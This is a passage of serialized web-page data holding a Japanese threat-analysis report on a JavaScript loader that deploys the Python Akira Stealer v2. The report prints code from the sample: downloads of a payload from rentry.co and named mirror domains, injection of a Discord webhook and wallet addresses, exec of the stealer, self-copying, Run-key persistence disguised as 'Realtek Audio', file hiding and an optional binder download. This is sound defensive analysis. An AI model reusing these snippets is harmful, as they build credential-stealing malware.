実際の第2段階のPythonベースのスティーラーを含むアーカイブ",[607,3345,3346,3349],{},[550,3347,3348],{},"bnd.exe",": 永続化用のバックドアや追加ペイロードとして機能しうる、任意の実行ファイル",[588,3351,3353],{"className":2978,"code":3352,"language":2980,"meta":594,"style":594},"const tempFile = path.join(tempDir, \"pyth.zip\");\nconst binderFile = path.join(tempDir, \"bnd.exe\");\n",[550,3354,3355,3378],{"__ignoreMap":594},[1680,3356,3357,3359,3362,3364,3367,3370,3373,3376],{"class":1682,"line":1683},[1680,3358,2988],{"class":2987},[1680,3360,3361],{"class":2770}," tempFile",[1680,3363,2994],{"class":2987},[1680,3365,3366],{"class":2997}," path.",[1680,3368,3369],{"class":2762},"join",[1680,3371,3372],{"class":2997},"(tempDir, ",[1680,3374,3375],{"class":2766},"\"pyth.zip\"",[1680,3377,3054],{"class":2997},[1680,3379,3380,3382,3385,3387,3389,3391,3393,3396],{"class":1682,"line":2058},[1680,3381,2988],{"class":2987},[1680,3383,3384],{"class":2770}," binderFile",[1680,3386,2994],{"class":2987},[1680,3388,3366],{"class":2997},[1680,3390,3369],{"class":2762},[1680,3392,3372],{"class":2997},[1680,3394,3395],{"class":2766},"\"bnd.exe\"",[1680,3397,3054],{"class":2997},[532,3399,3400],{},"このパス設定はOS固有のパス構文を吸収し、あらゆるWindowsシステム上でマルウェアがそのまま動作できるようにします。同時に、これに続くファイルのダウンロードと展開のメカニズムへの下地にもなっています。",[862,3402,3404],{"id":3403},"_622-フォールバック戦略を備えたペイロードのダウンロード","6.2.2 フォールバック戦略を備えたペイロードのダウンロード",[532,3406,868],{},[532,3408,3409],{},"復号されたJavaScriptペイロードの第2の主要フェーズは、リモートの配信元から悪意あるZIPアーカイブをダウンロードすることです。このメカニズムは、耐性と可用性を高めるために多層のフォールバック戦略を備えて設計されています。",[604,3411,3412,3444,3529,3563],{},[607,3413,3414,3417,3418,3438,3440,3441,3443],{},[539,3415,3416],{},"Rentry.co経由の主リンク解決","\nスクリプトはまず、テキストペーストサービスから動的なURLを解決します。次の宛先にGETリクエストを送ります。",[588,3419,3421],{"className":2978,"code":3420,"language":2980,"meta":594,"style":594},"const url = \"https://rentry.co/7vzd22fg36hfdd33/raw\";\n",[550,3422,3423],{"__ignoreMap":594},[1680,3424,3425,3427,3430,3432,3435],{"class":1682,"line":1683},[1680,3426,2988],{"class":2987},[1680,3428,3429],{"class":2770}," url",[1680,3431,2994],{"class":2987},[1680,3433,3434],{"class":2766}," \"https://rentry.co/7vzd22fg36hfdd33/raw\"",[1680,3436,3437],{"class":2997},";\n",[697,3439],{},"これにより、",[550,3442,2865],{}," アーカイブの実際の所在を指すプレーンテキストのURL文字列が返されます。このようなリダイレクトのしくみを使うのはよくある難読化手法です。実際の悪意あるURLを隠し、静的な検出を難しくします。",[607,3445,3446,3449,3450,3482,3484,3485,3487,3488,3522,3524,3525,3528],{},[539,3447,3448],{},"ダウンロードの実行","\n解決されたURLに対して、Axiosライブラリを使いレスポンスストリームで要求します。",[588,3451,3453],{"className":2978,"code":3452,"language":2980,"meta":594,"style":594},"const fileResponse = await axios.get(fileUrl, { responseType: \"stream\" });\n",[550,3454,3455],{"__ignoreMap":594},[1680,3456,3457,3459,3462,3464,3467,3470,3473,3476,3479],{"class":1682,"line":1683},[1680,3458,2988],{"class":2987},[1680,3460,3461],{"class":2770}," fileResponse",[1680,3463,2994],{"class":2987},[1680,3465,3466],{"class":2987}," await",[1680,3468,3469],{"class":2997}," axios.",[1680,3471,3472],{"class":2762},"get",[1680,3474,3475],{"class":2997},"(fileUrl, { responseType: ",[1680,3477,3478],{"class":2766},"\"stream\"",[1680,3480,3481],{"class":2997}," });\n",[697,3483],{},"ファイルはシステムの一時ディレクトリに ",[550,3486,2865],{}," として書き出されます。",[588,3489,3491],{"className":2978,"code":3490,"language":2980,"meta":594,"style":594},"const writer = fs.createWriteStream(tempFile);\nfileResponse.data.pipe(writer);\n",[550,3492,3493,3511],{"__ignoreMap":594},[1680,3494,3495,3497,3500,3502,3505,3508],{"class":1682,"line":1683},[1680,3496,2988],{"class":2987},[1680,3498,3499],{"class":2770}," writer",[1680,3501,2994],{"class":2987},[1680,3503,3504],{"class":2997}," fs.",[1680,3506,3507],{"class":2762},"createWriteStream",[1680,3509,3510],{"class":2997},"(tempFile);\n",[1680,3512,3513,3516,3519],{"class":1682,"line":2058},[1680,3514,3515],{"class":2997},"fileResponse.data.",[1680,3517,3518],{"class":2762},"pipe",[1680,3520,3521],{"class":2997},"(writer);\n",[697,3523],{},"このダウンロードは ",[550,3526,3527],{},"Promise"," でラップされ、以降のロジックが実行される前に確実に完了するようになっています。",[607,3530,3531,3534,3535,3560,3562],{},[539,3532,3533],{},"フォールバックURL","\nRentry経由のリンクが失敗した場合、スクリプトはハードコードされたバックアップの所在を試します。",[588,3536,3538],{"className":2978,"code":3537,"language":2980,"meta":594,"style":594},"https://cosmicdust.zip/.well-known/pki-validation/pyth.zip\nhttps://cosmoplanets.net/well-known/pki-validation/pyth.zip\n",[550,3539,3540,3551],{"__ignoreMap":594},[1680,3541,3542,3545,3547],{"class":1682,"line":1683},[1680,3543,3544],{"class":2762},"https",[1680,3546,1175],{"class":2997},[1680,3548,3550],{"class":3549},"sJ8bj","//cosmicdust.zip/.well-known/pki-validation/pyth.zip\n",[1680,3552,3553,3555,3557],{"class":1682,"line":2058},[1680,3554,3544],{"class":2762},[1680,3556,1175],{"class":2997},[1680,3558,3559],{"class":3549},"//cosmoplanets.net/well-known/pki-validation/pyth.zip\n",[697,3561],{},"これらのドメインは、標準的なTLS検証用フォルダーの一部に見えるよう構成されており、Let's Encryptやドメイン検証のパスを模して疑いを和らげている可能性があります。各フォールバックは、同じストリーミングとファイル書き込みのロジックで再試行されます。",[607,3564,3565,3568,3569,3572],{},[539,3566,3567],{},"堅牢性と難読化","\nこのフォールバックのしくみにより、マルウェアは第2段階ペイロードの取得経路を複数確保します。動的なポインター（",[550,3570,3571],{},"rentry.co","）と複数のフェイルオーバーミラーを使うことで、テイクダウンやブロック、DNSシンクホールに対する耐性が高まります。",[532,3574,3575],{},"このフェーズは、多層的な冗長性とうまくカモフラージュされた配信インフラを用いた、マルウェア作者の周到な運用設計を示しています。",[604,3577,3578,3584],{},[607,3579,3580,3581,3583],{},"解決されたURLから ",[550,3582,2865],{}," をダウンロードする",[607,3585,3586,3587],{},"失敗した場合はフォールバックのミラーを試す:\n",[604,3588,3589,3594],{},[607,3590,3591],{},[550,3592,3593],{},"https://cosmicdust.zip/.well-known/pki-validation/pyth.zip",[607,3595,3596],{},[550,3597,3598],{},"https://cosmoplanets.net/well-known/pki-validation/pyth.zip",[862,3600,3602],{"id":3601},"_623-ペイロードの展開と改変","6.2.3 ペイロードの展開と改変",[532,3604,868],{},[532,3606,3607,3609,3610,3612],{},[550,3608,2865],{}," アーカイブのダウンロードとディスクへの保存に成功すると、マルウェアはその内容を展開し、実行に向けた準備を進めます。これはZIPファイルをプログラムから扱えるNode.jsライブラリ ",[550,3611,2836],{}," を使って行われます。",[604,3614,3615,3663,3689],{},[607,3616,3617,3620,3657,3659,3660,3662],{},[539,3618,3619],{},"ZIPの展開:",[588,3621,3623],{"className":2978,"code":3622,"language":2980,"meta":594,"style":594},"const zip = new AdmZip(tempFile);\nzip.extractAllTo(tempDir, true);\n",[550,3624,3625,3642],{"__ignoreMap":594},[1680,3626,3627,3629,3632,3634,3637,3640],{"class":1682,"line":1683},[1680,3628,2988],{"class":2987},[1680,3630,3631],{"class":2770}," zip",[1680,3633,2994],{"class":2987},[1680,3635,3636],{"class":2987}," new",[1680,3638,3639],{"class":2762}," AdmZip",[1680,3641,3510],{"class":2997},[1680,3643,3644,3647,3650,3652,3655],{"class":1682,"line":2058},[1680,3645,3646],{"class":2997},"zip.",[1680,3648,3649],{"class":2762},"extractAllTo",[1680,3651,3372],{"class":2997},[1680,3653,3654],{"class":2770},"true",[1680,3656,3054],{"class":2997},[697,3658],{},"これによりアーカイブの内容がすべてシステムの一時ディレクトリに展開されます。",[550,3661,3654],{}," フラグは既存ファイルの上書きを保証します。",[607,3664,3665,3668,3669,3671,3672],{},[539,3666,3667],{},"アーカイブの内容:","\nアーカイブ ",[550,3670,2865],{}," には、完全にバンドルされたPythonプロジェクトが含まれており、次のものを伴います。",[604,3673,3674,3677,3680],{},[607,3675,3676],{},"正規のPythonパッケージに似せたディレクトリ構造",[607,3678,3679],{},"複数のPythonモジュールと依存関係",[607,3681,3682,3685,3686,3688],{},[550,3683,3684],{},"Crypto/Util/astor.py"," に置かれた主要ファイル ",[550,3687,585],{},"。これがスティーラー本体のペイロードです",[607,3690,3691,3303,3694,3696,3697,3717],{},[539,3692,3693],{},"プレースホルダーの置換:",[550,3695,585],{}," 内のあらかじめ定義されたプレースホルダーを動的に置換し、攻撃者が管理する次のような設定データを埋め込みます。",[604,3698,3699,3702,3705,3711],{},[607,3700,3701],{},"Discord WebhookのURL",[607,3703,3704],{},"暗号通貨のウォレットアドレス（BTC、ETH、DOGE、LTC、XMRなど）",[607,3706,3707,3708,2012],{},"ユーザー識別子（",[550,3709,3710],{},"%USERID%",[607,3712,3713,3714,2012],{},"エラー状態のフラグ（",[550,3715,3716],{},"%ERRORSTATUS%",[588,3718,3720],{"className":2978,"code":3719,"language":2980,"meta":594,"style":594},"fs.readFile(extractedDir + \"\\Crypto\\Util\\astor.py\", 'utf8', (err, data) => {\n  let updatedFile = data\n    .replace(\"%DISCORD%\", \u003Cwebhook>)\n    .replace(\"%ADDRESSBTC%\", \u003Cbtc_address>)\n    ...\n    .replace(\"%ERRORSTATUS%\", displayError ? \"true\" : \"false\");\n\n  fs.writeFile(extractedDir + \"\\Crypto\\Util\\astor.py\", updatedFile, 'utf8');\n});\n",[550,3721,3722,3783,3796,3819,3829,3834,3839,3844,3850],{"__ignoreMap":594},[1680,3723,3724,3727,3730,3733,3736,3739,3742,3745,3748,3751,3754,3757,3759,3762,3765,3769,3771,3774,3777,3780],{"class":1682,"line":1683},[1680,3725,3726],{"class":2997},"fs.",[1680,3728,3729],{"class":2762},"readFile",[1680,3731,3732],{"class":2997},"(extractedDir ",[1680,3734,3735],{"class":2987},"+",[1680,3737,3738],{"class":2766}," \"",[1680,3740,3741],{"class":2770},"\\C",[1680,3743,3744],{"class":2766},"rypto",[1680,3746,3747],{"class":2770},"\\U",[1680,3749,3750],{"class":2766},"til",[1680,3752,3753],{"class":2770},"\\a",[1680,3755,3756],{"class":2766},"stor.py\"",[1680,3758,1989],{"class":2997},[1680,3760,3761],{"class":2766},"'utf8'",[1680,3763,3764],{"class":2997},", (",[1680,3766,3768],{"class":3767},"s4XuR","err",[1680,3770,1989],{"class":2997},[1680,3772,3773],{"class":3767},"data",[1680,3775,3776],{"class":2997},") ",[1680,3778,3779],{"class":2987},"=>",[1680,3781,3782],{"class":2997}," {\n",[1680,3784,3785,3788,3791,3793],{"class":1682,"line":2058},[1680,3786,3787],{"class":2987},"  let",[1680,3789,3790],{"class":2997}," updatedFile ",[1680,3792,3155],{"class":2987},[1680,3794,3795],{"class":2997}," data\n",[1680,3797,3798,3801,3804,3806,3809,3812,3816],{"class":1682,"line":2064},[1680,3799,3800],{"class":2997},"    .",[1680,3802,3803],{"class":2762},"replace",[1680,3805,3189],{"class":2997},[1680,3807,3808],{"class":2766},"\"%DISCORD%\"",[1680,3810,3811],{"class":2997},", \u003C",[1680,3813,3815],{"class":3814},"s9eBZ","webhook",[1680,3817,3818],{"class":2997},">)\n",[1680,3820,3821,3824,3827],{"class":1682,"line":2070},[1680,3822,3823],{"class":2997},"    .replace(\"%ADDRESSBTC%\", \u003C",[1680,3825,3826],{"class":2770},"btc_address",[1680,3828,3818],{"class":2997},[1680,3830,3831],{"class":1682,"line":2393},[1680,3832,3833],{"class":2997},"    ...\n",[1680,3835,3836],{"class":1682,"line":2399},[1680,3837,3838],{"class":2997},"    .replace(\"%ERRORSTATUS%\", displayError ? \"true\" : \"false\");\n",[1680,3840,3841],{"class":1682,"line":3051},[1680,3842,3843],{"emptyLinePlaceholder":325},"\n",[1680,3845,3847],{"class":1682,"line":3846},8,[1680,3848,3849],{"class":2997},"  fs.writeFile(extractedDir + \"\\Crypto\\Util\\astor.py\", updatedFile, 'utf8');\n",[1680,3851,3853],{"class":1682,"line":3852},9,[1680,3854,3855],{"class":2997},"});\n",[532,3857,3858],{},"この動的な改変フェーズは不可欠です。攻撃者が管理する値の埋め込みを実行時まで遅らせることで、ペイロードは静的検出を回避し、アーカイブを再パッケージすることなく標的や窃取先エンドポイントを変更できるようになります。",[604,3860,3861],{},[607,3862,3863,3865,3866],{},[550,3864,585],{}," 内のプレースホルダー文字列を置換する:\n",[604,3867,3868,3874,3884],{},[607,3869,3870,3871],{},"Discord Webhook: ",[550,3872,3873],{},"%DISCORD%",[607,3875,3876,3877,620,3880,3883],{},"ウォレットアドレス: ",[550,3878,3879],{},"%ADDRESSBTC%",[550,3881,3882],{},"%ADDRESSETH%"," など",[607,3885,3886],{},"ユーザーIDとエラーフラグ",[862,3888,3890],{"id":3889},"_624-マルウェアの実行","6.2.4 マルウェアの実行",[532,3892,868],{},[604,3894,3895],{},[607,3896,3897,3898],{},"astor.pyへのプレースホルダー埋め込みが完了すると、マルウェアはシステムコールを介してスティーラーの実行を開始します",[588,3899,3901],{"className":2978,"code":3900,"language":2980,"meta":594,"style":594},"exec(\"python.exe Crypto\\\\Util\\\\astor.py\");\n",[550,3902,3903],{"__ignoreMap":594},[1680,3904,3905,3908,3910,3913,3916,3919,3921,3924],{"class":1682,"line":1683},[1680,3906,3907],{"class":2762},"exec",[1680,3909,3189],{"class":2997},[1680,3911,3912],{"class":2766},"\"python.exe Crypto",[1680,3914,3915],{"class":2770},"\\\\",[1680,3917,3918],{"class":2766},"Util",[1680,3920,3915],{"class":2770},[1680,3922,3923],{"class":2766},"astor.py\"",[1680,3925,3054],{"class":2997},[532,3927,3928],{},"このコマンドはNode.jsのchild_process.exec関数を使って実行され、埋め込まれたPythonペイロードを別プロセスで起動します。この特徴的な実行パターン、すなわち引数 Crypto\\Util\\astor.py を伴う python.exe は、Microsoft Defender for Endpointが収集したテレメトリデータで観測されており、信頼できる検出の手がかりになります。実際の実行チェーンは次のようになります。",[532,3930,3931],{},"Microsoft Defender for Endpointのテレメトリで観測されたマルウェアの実行チェーン全体は、次の順序をたどります。",[604,3933,3934,3943,3950,3957],{},[607,3935,3936,3938,3939,3942],{},[550,3937,578],{},"（Electronベースのコンテナー）が ",[550,3940,3941],{},"node.exe"," を呼び出す",[607,3944,3945,1267,3947,3949],{},[550,3946,3941],{},[550,3948,1103],{}," を起動する",[607,3951,3952,1267,3954,3956],{},[550,3953,1103],{},[550,3955,552],{}," を開始する",[607,3958,3959,3961,3962,3964],{},[550,3960,552],{}," がファイル ",[550,3963,1113],{}," を実行する",[862,3966,3968],{"id":3967},"_625-永続化の強化","6.2.5 永続化の強化",[532,3970,868],{},[532,3972,3973,3974,3976],{},"感染したシステム上での長期的な存在を確実にするため、復号されたJavaScriptペイロードには、最初のバイナリ（",[550,3975,574],{},"）をユーザープロファイル内の目立たない場所にコピーして永続化を再確立するロジックが含まれています。",[532,3978,3979],{},[539,3980,3981],{},"コピー先のディレクトリ",[532,3983,3984],{},"ファイルは、正規のWindowsコンポーネントを模したディレクトリにコピーされます。",[588,3986,3988],{"className":2978,"code":3987,"language":2980,"meta":594,"style":594},"%APPDATA%\\Microsoft\\Internet Explorer\\UserData\\Updater.exe\n",[550,3989,3990],{"__ignoreMap":594},[1680,3991,3992,3995,3998,4000],{"class":1682,"line":1683},[1680,3993,3994],{"class":2987},"%",[1680,3996,3997],{"class":2770},"APPDATA",[1680,3999,3994],{"class":2987},[1680,4001,4002],{"class":2997},"\\Microsoft\\Internet Explorer\\UserData\\Updater.exe\n",[532,4004,4005],{},"この場所は意図的に選ばれています。",[604,4007,4008,4011],{},[607,4009,4010],{},"%APPDATA% は一般ユーザーが書き込み可能で、管理者権限を必要としません。",[607,4012,4013],{},"ディレクトリ名が正規のMicrosoftアプリケーションフォルダーを模しているため、疑われにくくなります。",[532,4015,4016],{},[539,4017,4018],{},"コピーのしくみ:",[532,4020,4021],{},"コピー操作にはNode.jsの fs.copyFileSync() 関数が使われます。",[588,4023,4025],{"className":2978,"code":4024,"language":2980,"meta":594,"style":594},"fs.copyFileSync(\n  process.env.PORTABLE_EXECUTABLE_FILE,\n  path.join(\n    process.env.APPDATA,\n    \"Microsoft\",\n    \"Internet Explorer\",\n    \"UserData\",\n    \"Updater.exe\",\n  ),\n);\n",[550,4026,4027,4036,4046,4055,4064,4071,4078,4085,4092,4097],{"__ignoreMap":594},[1680,4028,4029,4031,4034],{"class":1682,"line":1683},[1680,4030,3726],{"class":2997},[1680,4032,4033],{"class":2762},"copyFileSync",[1680,4035,3004],{"class":2997},[1680,4037,4038,4041,4044],{"class":1682,"line":2058},[1680,4039,4040],{"class":2997},"  process.env.",[1680,4042,4043],{"class":2770},"PORTABLE_EXECUTABLE_FILE",[1680,4045,3034],{"class":2997},[1680,4047,4048,4051,4053],{"class":1682,"line":2064},[1680,4049,4050],{"class":2997},"  path.",[1680,4052,3369],{"class":2762},[1680,4054,3004],{"class":2997},[1680,4056,4057,4060,4062],{"class":1682,"line":2070},[1680,4058,4059],{"class":2997},"    process.env.",[1680,4061,3997],{"class":2770},[1680,4063,3034],{"class":2997},[1680,4065,4066,4069],{"class":1682,"line":2393},[1680,4067,4068],{"class":2766},"    \"Microsoft\"",[1680,4070,3034],{"class":2997},[1680,4072,4073,4076],{"class":1682,"line":2399},[1680,4074,4075],{"class":2766},"    \"Internet Explorer\"",[1680,4077,3034],{"class":2997},[1680,4079,4080,4083],{"class":1682,"line":3051},[1680,4081,4082],{"class":2766},"    \"UserData\"",[1680,4084,3034],{"class":2997},[1680,4086,4087,4090],{"class":1682,"line":3846},[1680,4088,4089],{"class":2766},"    \"Updater.exe\"",[1680,4091,3034],{"class":2997},[1680,4093,4094],{"class":1682,"line":3852},[1680,4095,4096],{"class":2997},"  ),\n",[1680,4098,4100],{"class":1682,"line":4099},10,[1680,4101,3054],{"class":2997},[604,4103,4104,4107],{},[607,4105,4106],{},"PORTABLE_EXECUTABLE_FILE は、実行中のバイナリのパスを参照するために多くのパッカー（Electronなど）が自動的に設定する環境変数です。",[607,4108,4109],{},"path.join(...) は、異なるオペレーティングシステムをまたいで完全修飾のコピー先パスを組み立てます。",[532,4111,4112],{},"このロジックはファイルがまだ存在しない場合にのみ実行されます。つまり、削除されたドロッパーを復元する自己修復メカニズムとして機能します。",[532,4114,4115,4118],{},[539,4116,4117],{},"マルウェアチェーンにおける役割","\nコピーされたこの Updater.exe が存在することで、次が保証されます。",[604,4120,4121,4124],{},[607,4122,4123],{},"ローダーがシステムの再起動をまたいで自分自身を再起動できる。",[607,4125,4126],{},"監視されやすい従来のレジストリによる永続化メカニズムに頼らずに、感染チェーン全体（main.exe、node.exe、最終的に astor.py へと至る流れ）を再開できる。",[862,4128,4130],{"id":4129},"_626-任意のバインダー実行","6.2.6 任意のバインダー実行",[532,4132,868],{},[532,4134,4135,4136,4138],{},"主要なスティーラーペイロード（",[550,4137,585],{},"）のダウンロードと実行に加えて、復号されたJavaScriptには「バインダー」と呼ばれる副次的な実行ファイルを任意でダウンロードし起動するロジックも含まれています。このコンポーネントは、永続化、注意逸らし、あるいは追加のマルウェアモジュールの配備に使えます。",[532,4140,4141],{},[539,4142,4143],{},"条件付きの実行",[532,4145,4146],{},"バインダーのロジックは、特定のフラグが設定された場合にのみ有効になります。",[588,4148,4150],{"className":2978,"code":4149,"language":2980,"meta":594,"style":594},"enableBinder = true;\n",[550,4151,4152],{"__ignoreMap":594},[1680,4153,4154,4157,4159,4162],{"class":1682,"line":1683},[1680,4155,4156],{"class":2997},"enableBinder ",[1680,4158,3155],{"class":2987},[1680,4160,4161],{"class":2770}," true",[1680,4163,3437],{"class":2997},[532,4165,4166,4167,4170],{},"分析した検体では、この値は既定で ",[550,4168,4169],{},"false"," に設定されていましたが、ロジック自体はペイロードに残っており、別のキャンペーンや亜種で簡単に有効化できます。",[532,4172,4173],{},[539,4174,4175],{},"バインダーのダウンロードロジック",[532,4177,4178,4179,4182],{},"有効化されると、スクリプトは ",[550,4180,4181],{},"%BINDERURL%"," プレースホルダーで定義されたURLから外部のバイナリを取得しようとします。",[588,4184,4186],{"className":2978,"code":4185,"language":2980,"meta":594,"style":594},"const fileUrl = \"%BINDERURL%\";\nconst fileResponse = await axios.get(fileUrl, { responseType: \"stream\" });\nconst writer = fs.createWriteStream(binderFile);\nfileResponse.data.pipe(writer);\n",[550,4187,4188,4202,4222,4237],{"__ignoreMap":594},[1680,4189,4190,4192,4195,4197,4200],{"class":1682,"line":1683},[1680,4191,2988],{"class":2987},[1680,4193,4194],{"class":2770}," fileUrl",[1680,4196,2994],{"class":2987},[1680,4198,4199],{"class":2766}," \"%BINDERURL%\"",[1680,4201,3437],{"class":2997},[1680,4203,4204,4206,4208,4210,4212,4214,4216,4218,4220],{"class":1682,"line":2058},[1680,4205,2988],{"class":2987},[1680,4207,3461],{"class":2770},[1680,4209,2994],{"class":2987},[1680,4211,3466],{"class":2987},[1680,4213,3469],{"class":2997},[1680,4215,3472],{"class":2762},[1680,4217,3475],{"class":2997},[1680,4219,3478],{"class":2766},[1680,4221,3481],{"class":2997},[1680,4223,4224,4226,4228,4230,4232,4234],{"class":1682,"line":2064},[1680,4225,2988],{"class":2987},[1680,4227,3499],{"class":2770},[1680,4229,2994],{"class":2987},[1680,4231,3504],{"class":2997},[1680,4233,3507],{"class":2762},[1680,4235,4236],{"class":2997},"(binderFile);\n",[1680,4238,4239,4241,4243],{"class":1682,"line":2070},[1680,4240,3515],{"class":2997},[1680,4242,3518],{"class":2762},[1680,4244,3521],{"class":2997},[604,4246,4247,4252],{},[607,4248,4249,4251],{},[550,4250,3348],{}," ファイルはシステムの一時ディレクトリに保存されます。",[607,4253,4254,4256],{},[550,4255,2865],{}," と同様に、バイナリ全体をメモリに読み込まないよう、Axiosによるストリーミング方式でダウンロードされます。",[532,4258,4259],{},[539,4260,4261],{},"実行の戦略",[532,4263,4264,4265,4267],{},"ダウンロードに成功すると、スクリプトは ",[550,4266,1103],{}," を使ってダウンロードしたバイナリを呼び出し、新しいシェルコンテキストで実行されるようにします。",[588,4269,4271],{"className":2978,"code":4270,"language":2980,"meta":594,"style":594},"exec(`start cmd /c start ${binderFile}`, ...);\n",[550,4272,4273],{"__ignoreMap":594},[1680,4274,4275,4277,4279,4282,4285,4288,4290,4293],{"class":1682,"line":1683},[1680,4276,3907],{"class":2762},[1680,4278,3189],{"class":2997},[1680,4280,4281],{"class":2766},"`start cmd /c start ${",[1680,4283,4284],{"class":2997},"binderFile",[1680,4286,4287],{"class":2766},"}`",[1680,4289,1989],{"class":2997},[1680,4291,4292],{"class":2987},"...",[1680,4294,3054],{"class":2997},[532,4296,4297],{},"信頼性を高めるため、スクリプトには再試行のロジックが含まれています。",[588,4299,4301],{"className":2978,"code":4300,"language":2980,"meta":594,"style":594},"setTimeout(() => {\n  exec(...);\n}, 5000);\n",[550,4302,4303,4315,4326],{"__ignoreMap":594},[1680,4304,4305,4308,4311,4313],{"class":1682,"line":1683},[1680,4306,4307],{"class":2762},"setTimeout",[1680,4309,4310],{"class":2997},"(() ",[1680,4312,3779],{"class":2987},[1680,4314,3782],{"class":2997},[1680,4316,4317,4320,4322,4324],{"class":1682,"line":2058},[1680,4318,4319],{"class":2762},"  exec",[1680,4321,3189],{"class":2997},[1680,4323,4292],{"class":2987},[1680,4325,3054],{"class":2997},[1680,4327,4328,4331,4334],{"class":1682,"line":2064},[1680,4329,4330],{"class":2997},"}, ",[1680,4332,4333],{"class":2770},"5000",[1680,4335,3054],{"class":2997},[532,4337,4338],{},"これにより、最初の実行が（システム負荷や競合状態などで）失敗した場合でも、マルウェアは短い遅延の後にバイナリの起動を再試行します。",[532,4340,4341],{},[539,4342,4343],{},"バインダーの用途",[532,4345,4346],{},"この検体ではプレースホルダーのURLのため、バインダーのバイナリが何を目的としているかは明らかになりませんでしたが、こうしたコンポーネントは一般に次の用途で使われます。",[604,4348,4349,4352,4355,4358],{},[607,4350,4351],{},"主要なマルウェアコンポーネントの再インストールまたは再起動",[607,4353,4354],{},"偽のインストーラーやおとりアプリケーションの表示",[607,4356,4357],{},"追加のスパイウェア、バックドア、ランサムウェアの配備",[607,4359,4360],{},"システム設定の変更やセキュリティ機能の無効化",[714,4362,4364],{"id":4363},"_63-まとめ","6.3 まとめ",[532,4366,720],{},[532,4368,4369,4371],{},[550,4370,2804],{}," は強く難読化・暗号化されたJavaScriptローダーであり、業界標準の暗号技術（PBKDF2 + AES-256-CBC）を使って本来の目的を隠しています。復号されると、次のことを行う十分な機能を備えた第2段階ローダーとして動作します。",[604,4373,4374,4380,4383,4389],{},[607,4375,4376,4377,4379],{},"さらなるマルウェア（",[550,4378,2865],{},"）を取得する",[607,4381,4382],{},"ペイロードの振る舞いを動的に書き換える",[607,4384,4385,4386,4388],{},"実際のスティーラースクリプト（",[550,4387,585],{},"）を起動する",[607,4390,4391,4393],{},[550,4392,574],{}," を復元して永続化を強化する",[532,4395,4396,4397,4400],{},"暗号化、動的実行、モジュール式のペイロード取得、ファイルレス動作の組み合わせは、Electronシェル内でNode.jsの機能を活用する ",[539,4398,4399],{},"きわめて高度なJavaScriptベースのマルウェアアーキテクチャ"," を示しています。",[528,4402,4404,4405,4407],{"id":4403},"_7-ディープダイブ-akira-stealer-v2-astorpy","7. ディープダイブ: Akira Stealer v2 (",[550,4406,585],{},")",[532,4409,534],{},[714,4411,4413],{"id":4412},"_71-全体像としての機能","7.1. 全体像としての機能",[532,4415,720],{},[532,4417,4418,4419,4421],{},"Akira Stealer v2（",[550,4420,585],{},"）は、Pythonで書かれた多機能かつモジュール式の情報窃取マルウェアです。ChromiumベースとFirefoxベースの双方のブラウザー、暗号通貨ウォレット、コミュニケーションクライアント（Discord、Telegramなど）、そしてシステムファイルから、幅広い機微なユーザーデータを窃取するよう設計されています。高度なアンチ解析メカニズム、レジストリによる永続化、クリップボードの乗っ取り、メモリインジェクションの手法を備えています。",[714,4423,4425],{"id":4424},"_72-永続化と配備","7.2 永続化と配備",[532,4427,720],{},[862,4429,4431],{"id":4430},"_721-実行チェーンにおける位置づけ","7.2.1 実行チェーンにおける位置づけ",[532,4433,868],{},[532,4435,4436,4438],{},[550,4437,585],{}," は単独で実行されるのではなく、多段階の攻撃チェーンにおける最終ペイロードです。",[588,4440,4444],{"className":4441,"code":4442,"language":4443,"meta":594,"style":594},"language-plaintext shiki shiki-themes github-light github-dark","Updater.exe\n  └── main.exe (Electron app)\n        └── cmd.exe\n              └── python.exe astor.py\n","plaintext",[550,4445,4446,4451,4456,4461],{"__ignoreMap":594},[1680,4447,4448],{"class":1682,"line":1683},[1680,4449,4450],{},"Updater.exe\n",[1680,4452,4453],{"class":1682,"line":2058},[1680,4454,4455],{},"  └── main.exe (Electron app)\n",[1680,4457,4458],{"class":1682,"line":2064},[1680,4459,4460],{},"        └── cmd.exe\n",[1680,4462,4463],{"class":1682,"line":2070},[1680,4464,4465],{},"              └── python.exe astor.py\n",[532,4467,4468,4469,4471],{},"この構造化された実行チェーンにより、各段階が悪意ある機能を次の段階に委譲しながら検出を回避できます。",[550,4470,574],{}," がこの一連の流れを開始し、永続化の維持を担います。",[862,4473,4475],{"id":4474},"_722-レジストリによる永続化","7.2.2 レジストリによる永続化",[532,4477,868],{},[532,4479,4480,4481,4483],{},"Akiraは、現在のユーザーのRunパスの下にレジストリキーを書き込むことで永続化を確立します。これにより、システム起動のたびに ",[550,4482,574],{}," が実行されます。",[588,4485,4489],{"className":4486,"code":4487,"language":4488,"meta":594,"style":594},"language-python shiki shiki-themes github-light github-dark","command = f'reg add HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run /v \"Realtek Audio\" /t REG_SZ /d \"{path}\\\\Updater.exe\" /f'\nos.system(command)\n","python",[550,4490,4491,4496],{"__ignoreMap":594},[1680,4492,4493],{"class":1682,"line":1683},[1680,4494,4495],{},"command = f'reg add HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run /v \"Realtek Audio\" /t REG_SZ /d \"{path}\\\\Updater.exe\" /f'\n",[1680,4497,4498],{"class":1682,"line":2058},[1680,4499,4500],{},"os.system(command)\n",[604,4502,4503,4510,4517],{},[607,4504,4505,975,4508],{},[539,4506,4507],{},"パス",[550,4509,1652],{},[607,4511,4512,975,4514,4516],{},[539,4513,1657],{},[550,4515,1660],{},"（無害に見えるよう選ばれています）",[607,4518,4519,4521,4522],{},[539,4520,1665],{},": 通常は ",[550,4523,4524],{},"AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\\\Updater.exe",[532,4526,4527,4528,4531],{},"このコマンドは、PowerShellまたはネイティブの ",[550,4529,4530],{},"os.system()"," 実行を介して、自動実行エントリを静かに書き込みます。",[862,4533,4535],{"id":4534},"_723-ファイルの隠蔽","7.2.3 ファイルの隠蔽",[532,4537,868],{},[532,4539,4540],{},"ユーザーや単純なAVスキャンからバイナリをさらに見えにくくするため、ファイルには隠しファイルとシステムファイルの属性が付けられます。",[588,4542,4544],{"className":4486,"code":4543,"language":4488,"meta":594,"style":594},"subprocess.run([\"attrib\", \"+h\", \"+s\", destination_path])\n",[550,4545,4546],{"__ignoreMap":594},[1680,4547,4548],{"class":1682,"line":1683},[1680,4549,4543],{},[604,4551,4552,4558],{},[607,4553,4554,4557],{},[550,4555,4556],{},"+h",": ファイルを隠しファイルとしてマークする",[607,4559,4560,4563],{},[550,4561,4562],{},"+s",": 